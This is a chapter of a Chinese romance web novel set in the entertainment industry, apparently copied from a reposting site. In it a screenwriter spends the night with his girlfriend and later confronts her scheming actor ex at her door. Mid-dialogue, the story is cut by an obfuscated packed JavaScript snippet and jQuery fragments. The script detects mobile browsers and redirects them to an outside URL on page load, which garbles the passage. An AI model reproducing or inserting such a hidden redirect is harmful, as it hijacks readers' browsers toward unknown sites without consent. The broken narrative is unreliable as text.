69. 正宫做派

作品:《恋爱脑不想当情夫了[娱乐圈]

    贺天叙的瞳孔骤然放大。讶异从中流露出来,明晃晃的,能轻易被姚今读懂。


    贺天叙能理解父母都有他们自己的事业要忙,这没什么的。他不强求父母把注意力都放在自己身上,更不会觉得彼此有血缘关系,对方就应该如何如何。


    人本来就是独立的个体。没道理因为亲缘血缘去被迫放弃什么。


    但,贺天叙还是会渴望有人能全身心地爱他,或者……


    能回应他全身心投入的爱意。


    不知道什么时候彼此的面孔渐渐离得很近,唇瓣几乎要贴近,呼吸和体温都融在一起难以分清。


    眼眸里满是对方,也映出自己。两道视线交缠,似乎都在一寸寸吻遍心上人。


    今晚,姚今本来是想早点休息的。但贺天叙主动凑上来讨吻。


    而她,不想拒绝。


    此刻的贺天叙跟平时都不一样,并不过分地克制,等待姚今同意、允许。


    他也和昨夜不同,不凶狠,也不是让姚今招架不住的。


    贺天叙沉默着,可他的眼睛会说话。情愫都从眸子里淌出来,如乐声般逸进姚今的心间盘桓。


    他的吻很安静。明明身体已经热了,反应也已很明显了,可贺天叙仍然像是毫无察觉般。于是这种安静便如同平静海面下的暗流。


    但姚今能明确且清晰地感知,涌动的是爱欲。


    情至深夜,似月亮仍未落。


    姚今的手机总是在响,不知道是谁在发信息。


    声音微弱,也只是隔三差五响一下,却叫贺天叙听进心里。


    在姚今的默许下,贺天叙拿过手机,用自己的人脸解锁。


    发信息的人是德元中学的校友,想约姚今共进晚餐。


    都这个点了,还发这种信息,对方打的什么主意,是个人都知道。


    还中学的校友……八竿子打不着的关系,说不定这人和姚今都不是同届同班的!


    贺天叙额间渗汗,汗水沿下颌线条淌进锁骨又给胸肌染上蜜色。他眸子黑沉,吻着姚今的唇瓣,含糊不清地开口。


    “不要赴约好不好?”他故意用上目线去瞧姚今,看起来很是可怜,估计没人会拒绝。


    贺天叙吻得姚今几乎没有说话的机会,自己倒是又开口了:“让我这个校友陪你共进晚餐吧!”


    姚今微张唇瓣,却说不出一个字。长睫细颤着扫到贺天叙的脸上,引得他更加心痒。


    等她重新沐浴完,被贺天叙圈在怀里睡觉时,对方还追着问:“我能不能帮你回复他?”


    姚今本来也没心思应付那人,这也不是对方第一次发出邀约了。她之前就已经拒绝过几次,只是对方仍不死心。姚今索性任由贺天叙去处理。


    贺天叙抱着姚今,等怀里人安然睡熟。他才拿起姚今的手机回复那人。


    回复信息前,贺天叙特地看了眼那人朋友圈的照片,得知对方比自己大一届。


    他特地发了条语音。语气很平淡,态度甚至称得上是温和有礼。


    “学长,不好意思啊,我女朋友已经睡着了,没法亲自回复你的消息。不过我明天会特地转告她的一声。”


    第二天。


    贺天叙还是忍不住细问姚今,她和那个校友是怎么认识的。


    “之前教师节,很多学生都回校看望程老师,想约她一起吃饭。”姚今的脸上浮现些许笑意,“可是程老师又带高三,忙得很,哪有空天天跟我们吃饭,干脆就定了个时间,把大家都约在一起。”


    席间,校友们都互相加了联系方式。虽说很多人彼此之间不是同班甚至不是同届的,但大家既然有这样一层关系在,谁也不会拒绝拓展人脉。


    贺天叙想起来了。


    之前程悦梅喊他去参加这场校友聚会,只不过当时他直接拒绝了,没一丝犹豫。


    现在想来,贺天叙不禁有些后悔。


    要是自己去了,肯定能见到姚今……


    但贺天叙又转念一想,见到也没用。当时的他,只敢远远看着,根本不敢上前搭话,更别提做点什么了。


    目光落在姚今身上,贺天叙忍不住从背后抱紧姚今。双臂环住怀里人,彼此贴合,仿佛本就是一体。满足感在贺天叙心中油然而生。


    贺天叙空荡荡的怀抱里从此被填满,专属于一个人。


    *


    贺天叙还记得,今天自己要帮姚今回家取东西。


    和姚今一起吃过晚饭,贺天叙才出发前往。


    *


    电梯门打开,姚今的家门前又站着一抹熟悉的身影。


    贺天叙轻轻皱眉。


    这还真让姚今给说中了!


    傅凌云这家伙不死心,居然继续在这蹲守。看样子,他估计是这两天都在这等着。


    贺天叙不由得感到一阵庆幸。幸好姚今愿意和他同居,也幸好他提前准备了日常用品,免得姚今自己回来再碰上这人,让她心里不舒服。


    脚步声自身后响起,越来越近。


    傅凌云已经等了许久,玩手机都玩累了。突然听见脚步声,他顿时精神一振。傅凌云猛地起身,整了整领口。


    “今今……”傅凌云转过头,朝来者露出甜蜜的笑容。他刚喊出口,在看见来人是个男的,顿时失了声音。


    眼前人身量很高,比一米八的傅凌云还要高出一截。对方戴着黑色口罩,只露出双黑沉沉的眉眼,稍一对视便给人一种凌厉之感。稍长的发丝垂落眼侧,更添几分阴郁。


    虽然对方戴着口罩,未置一词,但傅凌云还是一眼就认出来了。


    这就是编剧稻与粱!


    傅凌云愿意低声下气来找姚今,根本上还是为了借姚今攀上贺天叙。


    虽然没能见到姚今,但傅凌云却先一步同贺天叙碰面了。这何尝不是意外之喜!


    傅凌云脸上的笑意更盛,下意识地又整理了一下衣服,上前搭话:“稻与粱老师!您好您好!我是演员傅凌云。没想到居然能在这碰见您,真是太巧了!”


    傅凌云的这种笑,贺天叙很眼熟。在颁奖典礼候场时、剧组围读及拍摄时,许多圈内人见到稻与粱,他们的脸上都是这种如出一辙的笑。


    如果不是从姚今口中得知傅凌云此人的品行,贺天叙不会料想得到,对方竟然会做出那些龌龊事。


    贺天叙面无表情,看傅凌云还能说出什么话。


    傅凌云又看了眼姚今家紧闭的门,继续搭话:“您也是来找姚今的?她估计还没回来,我刚刚敲门,一直没人应。”


    见贺天叙始终神色淡淡,也不应声,只静静地盯着他,眼珠黑沉沉的,莫名瘆人,傅凌云不由得心中惊疑。


    傅凌云不敢再和贺天叙对视,错开些许目光,却还想说点什么。他掏出手机,开始翻通讯录。


    “今今可能是临时有事出去了,我昨天都跟她约好


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17199585|188852||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    了的……”傅凌云当着贺天叙的面,表现出一副同姚今关系极其熟络的样子,“我打个电话问问她。您稍等一下哈!”


    贺天叙瞥了眼正在打电话的傅凌云。


    声音稍轻,似窗外冷风吹进:“不必。”


    “这怎么成!您的时间多宝贵啊!怎么能让您在这一直干等着啊!”傅凌云飞快按下姚今的电话号码,朝贺天叙笑得谄媚。


    “小今现在在我家。”


    “应该没空接你的电话。”


    贺天叙没看傅凌云,自顾自地拿出姚今家的钥匙。他当着对方的面,把钥匙插入门锁,轻轻一转。


    开锁的声音响起,落入傅凌云耳中,压过了无人接听、自动挂断的电话提示音。


    贺天叙推门而入。


    转身,站在门口,他极轻地扫过一眼已经怔愣的傅凌云。


    贺天叙熟门熟路地打开玄关处鞋柜的第二格,从中拎出一双浅黄色仓鼠图案的拖鞋。他旁若无人地为自己换上,再把自己那双手工定制的皮鞋摆放整齐。


    皮鞋紧挨着姚今的一双黑色高跟鞋。


    换完鞋,贺天叙直起身,重新看向傅凌云。他紧盯着对方,极黑的眼珠一转不转。


    骨节分明的修长手指从耳后取下口罩挂绳。举止轻而慢,可目光却锐利阴冷,似是随着摘下口罩的动作,一点点揭去正人君子的伪装。


    贺天叙姿态闲适地扶着门,俨然一副男主人的姿态:“不好意思,我还有事要忙,就不邀请你来家里做客了。请便。”


    傅凌云登时傻眼,脱口而出:“你……”


    贺天叙仍旧面色冷淡,看起来高傲矜持,却迫不及待地颔首应声:“没错。我就是姚今的,”


    “现、男、友。”


    傅凌云看贺天叙对自己这个态度,心里也已经明白过来了。


    姚今肯定早已把他们的往事告诉给贺天叙了。


    傅凌云知道,自己是不用再想什么搭上稻与粱、借他的势得到资源的事。


    他注视着贺天叙,忽地冷笑一声。


    难怪一向以花瓶而黑红闻名的陆灵曼能突然出演稻与粱的新剧,甚至还提名最佳女主角奖。


    那郭诚频频为各影视剧唱配乐,想来其中也少不了稻与粱的牵桥搭线。


    傅凌云可还记得,稻与粱从不上综艺,第一次作为飞行嘉宾现身综艺,就是郭诚常驻的那档综艺。


    傅凌云的眼神愈发阴毒。


    所以萧晴那个老女人估计也多半是因为稻与粱的关系,才接连把原本属于他的代言给了陆灵曼和郭诚。


    眼前的贺天叙一副高傲自得的模样,傅凌云抱臂于胸前,打量片刻。


    既然得不到自己想要的,那傅凌云也不介意恶心恶心别人。


    他出言挑衅:“姚今忘不了我。不然她为什么这么多年一直没有开启新一段恋情?


    “你不会真以为她爱你吧?”


    傅凌云嗤笑出声。


    “你前前后后帮了她多少,她到底看上了你什么,你心里不会一点数都没有吧?”傅凌云上前几步,离贺天叙非常近。


    见贺天叙依旧面无表情,甚至连呼吸频率也没有任何变化,傅凌云觉得自己像是一拳打到了棉花上。他不由得愈发气愤。


    傅凌云贴近贺天叙耳边,声音很轻,却利如薄刃,说一个众所周知的秘密。


    “她和你,只是玩玩而已。”